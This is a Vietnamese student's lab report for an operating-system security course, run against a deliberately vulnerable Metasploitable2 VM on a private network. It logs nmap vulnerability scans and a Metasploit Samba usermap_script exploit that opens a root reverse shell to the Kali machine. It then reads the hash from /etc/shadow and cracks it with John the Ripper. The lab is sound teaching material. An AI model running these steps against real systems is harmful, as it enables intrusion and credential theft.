

Báo cáo thực hành môn An toàn hệ điều hành
Bài thực hành 1

Họ và tên: Hoàng Trung Kiên
Mã sinh viên: B20DCAT098

Hà nội, ngày 14 tháng 3 năm 2023

1. Cài đặt các công cụ, nền tảng

-Đổi tên hostname:

+Máy attacker:

```
kali@B20DCAT098-Kien-Kali: ~/Desktop
File Actions Edit View Help
(kali@B20DCAT098-Kien-Kali)~[~/Desktop]
$ /etc/hostname
zsh: permission denied: /etc/hostname

(kali@B20DCAT098-Kien-Kali)~[~/Desktop]
$ cat /etc/hostname
B20DCAT098-Kien-Kali

(kali@B20DCAT098-Kien-Kali)~[~/Desktop]
$ uname -a
Linux B20DCAT098-Kien-Kali 6.0.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.0.7-1kali1 (2022-11-07) x86_64 GNU/Linux

(kali@B20DCAT098-Kien-Kali)~[~/Desktop]
$ date
Tue Mar 14 08:59:34 AM +07 2023
```

+Máy victim:

```
msfadmin@B20DCAT098-Kien-Meta:~$ cat /etc/hostname
B20DCAT098-Kien-Meta
msfadmin@B20DCAT098-Kien-Meta:~$ uname -a
Linux B20DCAT098-Kien-Meta 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
i686 GNU/Linux
msfadmin@B20DCAT098-Kien-Meta:~$ date
Mon Mar 13 22:04:16 EDT 2023
msfadmin@B20DCAT098-Kien-Meta:~$
```

2. Địa chỉ IP máy Kali.

Địa chỉ ip máy attacker: 192.168.100.3

```
(kali@B20DCAT098-Kien-Kali)~[~/Desktop]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.100.3 netmask 255.255.255.0 broadcast 192.168.100.255
    inet6 fe80::44ff:414e:3db8:cd99 prefixlen 64 scopeid 0x20<link>
    ether 00:0c:29:c4:0c:81 txqueuelen 1000 (Ethernet)
    RX packets 97 bytes 26693 (26.0 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 48 bytes 14975 (14.6 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 4 bytes 240 (240.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 4 bytes 240 (240.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

3. Địa chỉ IP máy Metasploitable2.

Địa chỉ ip máy Victim: 192.168.100.131

```
msfadmin@B20DCAT098-Kien-Meta:~$ ifconfig
eth0      Link encap:Ethernet HWaddr 00:0c:29:4b:1b:53
          inet addr:192.168.100.131 Bcast:192.168.100.255 Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe4b:1b53/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
          RX packets:37 errors:0 dropped:0 overruns:0 frame:0
          TX packets:82 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:4186 (4.0 KB) TX bytes:8590 (8.3 KB)
          Interrupt:17 Base address:0x2000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING MTU:16436 Metric:1
          RX packets:104 errors:0 dropped:0 overruns:0 frame:0
          TX packets:104 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:25597 (24.9 KB) TX bytes:25597 (24.9 KB)
```

4. Tạo một người dùng mới trên máy Meta:

Tài khoản là: kienht098

mật khẩu đơn giản và ngắn để có thể crack được

```
msfadmin@B20DCAT098-Kien-Meta:~$ sudo useradd kienht098
sudo: unable to resolve host B20DCAT098-Kien-Meta
[sudo] password for msfadmin:
msfadmin@B20DCAT098-Kien-Meta:~$ sudo passwd kienht098
sudo: unable to resolve host B20DCAT098-Kien-Meta
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
msfadmin@B20DCAT098-Kien-Meta:~$ date
Mon Mar 13 22:10:44 EDT 2023
msfadmin@B20DCAT098-Kien-Meta:~$ _
```

5. Quét máy victim Metasploitable2 tìm các lỗ hổng tồn tại

Kiểm tra kết nối mạng giữa các máy:

-Máy victim ping đến máy attacker

+Kiểm tra kết nối từ máy victim đến máy attacker: ping (victim -> attacker)----> 0% packet loss ----> có thể kết nối từ máy victim tới máy attacker

```
msfadmin@B20DCAT098-Kien-Meta:~$ date
Mon Mar 13 22:19:33 EDT 2023
msfadmin@B20DCAT098-Kien-Meta:~$ ping 192.168.100.3
PING 192.168.100.3 (192.168.100.3) 56(84) bytes of data.
64 bytes from 192.168.100.3: icmp_seq=1 ttl=64 time=1.85 ms
64 bytes from 192.168.100.3: icmp_seq=2 ttl=64 time=0.308 ms
64 bytes from 192.168.100.3: icmp_seq=3 ttl=64 time=0.236 ms
64 bytes from 192.168.100.3: icmp_seq=4 ttl=64 time=0.403 ms
64 bytes from 192.168.100.3: icmp_seq=5 ttl=64 time=0.293 ms

--- 192.168.100.3 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4001ms
rtt min/avg/max/mdev = 0.236/0.618/1.852/0.619 ms
msfadmin@B20DCAT098-Kien-Meta:~$ _
```

-Máy attacker ping đến máy victim:

+Kiểm tra kết nối từ máy attacker đến máy victim: ping (attacker -> victim)----> 0% packet loss ----> có thể kết nối từ máy attacker tới máy victim

```
(kali@B20DCAT098-Kien-Kali)-[~/Desktop]
$ ping 192.168.100.131
PING 192.168.100.131 (192.168.100.131) 56(84) bytes of data.
64 bytes from 192.168.100.131: icmp_seq=1 ttl=64 time=0.249 ms
64 bytes from 192.168.100.131: icmp_seq=2 ttl=64 time=0.353 ms
64 bytes from 192.168.100.131: icmp_seq=3 ttl=64 time=0.158 ms
64 bytes from 192.168.100.131: icmp_seq=4 ttl=64 time=0.223 ms
64 bytes from 192.168.100.131: icmp_seq=5 ttl=64 time=0.323 ms
^C
--- 192.168.100.131 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4096ms
rtt min/avg/max/mdev = 0.158/0.261/0.353/0.070 ms

(kali@B20DCAT098-Kien-Kali)-[~/Desktop]
$ date
Tue Mar 14 09:20:37 AM +07 2023
```

-Sử dụng công cụ nmap để rà quét các lỗ hổng tồn tại trên máy chạy Metasploitable2:

Quét cổng dịch vụ netbios-ssn cổng 139:

nmap --script vuln -p139 <ip máy victim>

```
(kali@B20DCAT098-Kien-Kali)-[~/Desktop]
$ nmap --script vuln -p139 192.168.100.131
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-14 09:23 +07
Nmap scan report for 192.168.100.131
Host is up (0.00061s latency).

PORT      STATE SERVICE
139/tcp    open  netbios-ssn

Host script results:
|_smb-vuln-ms10-061: false
|_smb-vuln-ms10-054: false

Nmap done: 1 IP address (1 host up) scanned in 140.82 seconds

(kali@B20DCAT098-Kien-Kali)-[~/Desktop]
$
```

Quét cổng dịch vụ microsoft-ds cổng 445:

nmap --script vuln -p445 <ip máy victim>

```
(kali@B20DCAT098-Kien-Kali)-[~/Desktop]
$ nmap --script=vuln -p445 192.168.100.131
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-14 09:29 +07
Nmap scan report for 192.168.100.131
Host is up (0.00037s latency).

PORT      STATE SERVICE
445/tcp    open  microsoft-ds

Host script results:
|_smb-vuln-ms10-061: false
|_smb-vuln-ms10-054: false

Nmap done: 1 IP address (1 host up) scanned in 140.68 seconds
```

Quét toàn bộ các cổng dịch vụ:

```
(kali@B20DCAT098-Kien-Kali)-[~/Desktop]
$ nmap -sC -sV --script=vuln 192.168.100.131
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-14 09:32 +07
Nmap scan report for 192.168.100.131
Host is up (0.00050s latency).
Not shown: 978 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
111/tcp    open  rpcbind      2 (RPC #100000)
|_rpcinfo:
|_program version  port/proto  service
|_ 100000  2          111/tcp    rpcbind
|_ 100000  2          111/udp    rpcbind
|_ 100003  2,3,4      2049/tcp   nfs
|_ 100003  2,3,4      2049/udp   nfs
|_ 100005  1,2,3      47088/udp  mountd
|_ 100005  1,2,3      48070/tcp  mountd
|_ 100021  1,3,4      42775/tcp  nlockmgr
|_ 100021  1,3,4      59139/udp  nlockmgr
|_ 100024  1          49010/tcp  status
|_ 100024  1          50710/udp  status
139/tcp    open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp    open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp    open  exec         netkit-rsh rexecd
513/tcp    open  login        OpenBSD or Solaris rlogind
514/tcp    open  tcpwrapped
1099/tcp   open  java-rmi     GNU Classpath grmiregistry
|_rmi-vuln-classloader:
|_VULNERABLE:
|_RMI registry default configuration remote code execution vulnerability
|_State: VULNERABLE
|_Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
```

Dịch vụ đang chạy trên 2 cổng 139 và 445

```
111/tcp    open  rpcbind      2 (RPC #100000)
|_rpcinfo:
|_program version  port/proto  service
|_ 100000  2          111/tcp    rpcbind
|_ 100000  2          111/udp    rpcbind
|_ 100003  2,3,4      2049/tcp   nfs
|_ 100003  2,3,4      2049/udp   nfs
|_ 100005  1,2,3      47088/udp  mountd
|_ 100005  1,2,3      48070/tcp  mountd
|_ 100021  1,3,4      42775/tcp  nlockmgr
|_ 100021  1,3,4      59139/udp  nlockmgr
|_ 100024  1          49010/tcp  status
|_ 100024  1          50710/udp  status
139/tcp    open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp    open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp    open  exec         netkit-rsh rexecd
513/tcp    open  login        OpenBSD or Solaris rlogind
514/tcp    open  tcpwrapped
1099/tcp   open  java-rmi     GNU Classpath grmiregistry
|_rmi-vuln-classloader:
|_VULNERABLE:
|_RMI registry default configuration remote code execution vulnerability
|_State: VULNERABLE
|_Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
```

6. Khai thác tìm phiên bản Samba đang hoạt động:

-Khởi động Metasploit

```
kali@B20DCAT098-Kien-Kali: ~/Desktop
File Actions Edit View Help
(kali@B20DCAT098-Kien-Kali)~[~/Desktop]
$ msfconsole

# cowsay++

< metasploit >

      \      /
      (oo)_____)
      (_____)
      |_____| *

= [ metasploit v6.2.26-dev ]
+ -- [ 2264 exploits - 1189 auxiliary - 404 post ]
+ -- [ 951 payloads - 45 encoders - 11 nops ]
+ -- [ 9 evasion ]

Metasploit tip: Enable HTTP request and response logging
with set HttpTrace true
Metasploit Documentation: https://docs.metasploit.com/

msf6 > |
```

Khai báo sử dụng mô đun tấn công: use auxiliary/scanner/smb/smb_version

```
msf6 > search smb_version

Matching Modules

# Name Disclosure Date Rank Check Description
- - - - -
0 auxiliary/scanner/smb/smb_version normal No SMB Version Detection

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/smb/smb_version
```

Chạy lệnh “show options” để xem các thông tin về mô đun tấn công đang sử dụng

```
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > show options

Module options (auxiliary/scanner/smb/smb_version):

Name Current Setting Required Description
- - - - -
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
THREADS 1 yes The number of concurrent threads (max one per host)

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smb/smb_version) > options

Module options (auxiliary/scanner/smb/smb_version):

Name Current Setting Required Description
- - - - -
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
THREADS 1 yes The number of concurrent threads (max one per host)

View the full module info with the info, or info -d command.
```

RHOSTS là máy victim (Metasploitable)

LHOSTS là máy attack (Kali Linux)

Đặt địa chỉ IP máy victim: set RHOST <ip máy victim>

Thực thi tấn công: run

-> Dịch vụ Samba và phiên bản

```
msf6 auxiliary(scanner/smb/smb_version) > set rhost 192.168.100.131
rhost => 192.168.100.131
msf6 auxiliary(scanner/smb/smb_version) > run

[*] 192.168.100.131:445 - SMB Detected (versions:1) (preferred dialect:) (signatures:optional)
[*] 192.168.100.131:445 - Host could not be identified: Unix (Samba 3.0.20-Debian)
[*] 192.168.100.131: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_version) > |
```

Gõ lệnh: exit để thoát

6. Khai thác lỗi trên Samba cho phép mở shell chạy với quyền root:

Khởi động Metasploit

```
kali@B20DCAT098-Kien-Kali: ~/Desktop
File Actions Edit View Help
(kali@B20DCAT098-Kien-Kali)-[~/Desktop]
$ date
Tue Mar 14 10:04:57 AM +07 2023
(kali@B20DCAT098-Kien-Kali)-[~/Desktop]
$ msfconsole

3Kom SuperHack II Logon

User Name:      [ security ]
Password:       [           ]

[ OK ]

https://metasploit.com

= [ metasploit v6.2.26-dev ]
+ -- [ 2264 exploits - 1189 auxiliary - 404 post ]
+ -- [ 951 payloads - 45 encoders - 11 nops ]
+ -- [ 9 evasion ]

Metasploit tip: Display the Framework log using the
log command, learn more with help log
Metasploit Documentation: https://docs.metasploit.com/
```

Khai báo sử dụng mô đun tấn công: use exploit/multi/samba/usermap_script

```
msf6 > search usermap_script

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  exploit/multi/samba/usermap_script       2007-05-14      excellent No      Samba "username map script" Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script
msf6 > 
```

Chạy lệnh “show options” để xem các thông tin về mô đun tấn công đang sử dụng

```
msf6 > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
ang sử dụng(exploit/multi/samba/usermap_script) > Chạy lệnh “show options” để xem các thông tin về mô đun tấn công đ
[-] Unknown command: Chạy
msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

Name      Current Setting  Required  Description
-  -
RHOSTS    yes             The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT     139             The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

Name      Current Setting  Required  Description
-  -
LHOST     192.168.100.3   yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:

Id  Name
--  -
0   Automatic

View the full module info with the info, or info -d command.
```

Đặt địa chỉ IP máy victim: set RHOST <ip máy victim>

Đặt 445 là cổng truy cập máy victim: set RPORT 445

Chọn payload cho thực thi (mở shell): msf > set payload cmd/unix/reverse

```
kali@B20DCAT098-Kien-Kali: ~/Desktop
File Actions Edit View Help

msf6 > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
ang sử dụng(exploit/multi/samba/usermap_script) > Chạy lệnh "show options" để xem các thông tin về mô đun tấn công đ
[-] Unknown command: Chạy
msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS    192.168.100.3   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT     139              yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.100.3   yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.

msf6 exploit(multi/samba/usermap_script) > set rhost 192.168.100.131
rhost => 192.168.100.131
msf6 exploit(multi/samba/usermap_script) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf6 exploit(multi/samba/usermap_script) > set RPORT 445
RPORT => 445
msf6 exploit(multi/samba/usermap_script) > 
```

Chạy lệnh “show options” để xem các thông tin về thiết lập tấn công đang sử dụng

+Đã đặt RHOST và RPOST thành công

```
msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS    192.168.100.131 yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT     445              yes       The target port (TCP)

Payload options (cmd/unix/reverse):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.100.3   yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.
```

Thực thi tấn công: exploit

→ Cửa hậu mở shell với người dùng root cho phép chạy lệnh từ máy Kali

→ có thể thực hiện bất cứ lệnh shell nào trên máy victim.

Chạy các lệnh để đọc tên người dùng và máy đang truy cập:

whoami, id, uname -a

```
View the full module info with the info, or info -d command.
msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP double handler on 192.168.100.3:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo xK6C6mHKLxxFFmsF;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "xK6C6mHKLxxFFmsF\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.100.3:4444 → 192.168.100.131:36696) at 2023-03-14 10:15:48 +0700

whoami
root
id
uid=0(root) gid=0(root)
uname -a
Linux B20DCAT098-Kien-Meta 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```

Lấy tên người dùng và mật khẩu đã tạo ở máy Metasploitable

Gõ lệnh: cat /etc/shadow | grep kienht098

```
whoami
root
id
uid=0(root) gid=0(root)
uname -a
Linux B20DCAT098-Kien-Meta 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
cat /etc/shadow | grep kienht098
kienht098:$1$ZypLDBb4$Lxf4QhfWCWn7q90.Uw13P1:19430:0:99999:7:::
```

Chọn và sao chép cả dòng tên người dùng và mật khẩu bấm vào clipboard

- Mở một cửa sổ Terminal mới, chạy lệnh: nano password, sau đó paste thông tin tên người dùng và mật khẩu bấm từ clipboard vào file password

Gõ Ctrl-x để lưu vào file

```
kali@B20DCAT098-Kien-Kali: ~/Desktop
File Actions Edit View Help
(kali@B20DCAT098-Kien-Kali)-[~/Desktop]
$ nano password
(kali@B20DCAT098-Kien-Kali)-[~/Desktop]
$ date
Tue Mar 14 10:23:27 AM +07 2023
(kali@B20DCAT098-Kien-Kali)-[~/Desktop]
$ nano password
```

```
kali@B20DCAT098-Kien-Kali: ~/Desktop
File Actions Edit View Help
GNU nano 6.4 password
kienht098:$1$ZypLDBb4$Lxf4QhfWCWn7q90.Uw13P1:19430:0:99999:7:::
```

Crack để lấy mật khẩu ta sử dụng chương trình john

Gõ lệnh: john password --wordlist="password" để phát hiện mã hàm băm


```
(kali@B20DCAT098-Kien-Kali)-[~/Desktop]
$ john password --wordlist=password
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2023-03-14 10:27) 0g/s 0p/s 0c/s 0C/s
Session completed.
```

Gõ lệnh: john --format=md5crypt-long để crack mật khẩu

```
(kali@B20DCAT098-Kien-Kali)-[~/Desktop]
$ john --format=md5crypt-long password
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
123456 (kienht098)
1g 0:00:00:00 DONE 2/3 (2023-03-14 10:28) 5.882g/s 17741p/s 17741c/s 17741C/s 123456..secret
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Gõ lệnh: john --show password

```
(kali@B20DCAT098-Kien-Kali)-[~/Desktop]
$ john --show password
kienht098:123456 19430:0:99999:7:::
1 password hash cracked, 0 left
```

➔ Đã crack mật khẩu thành công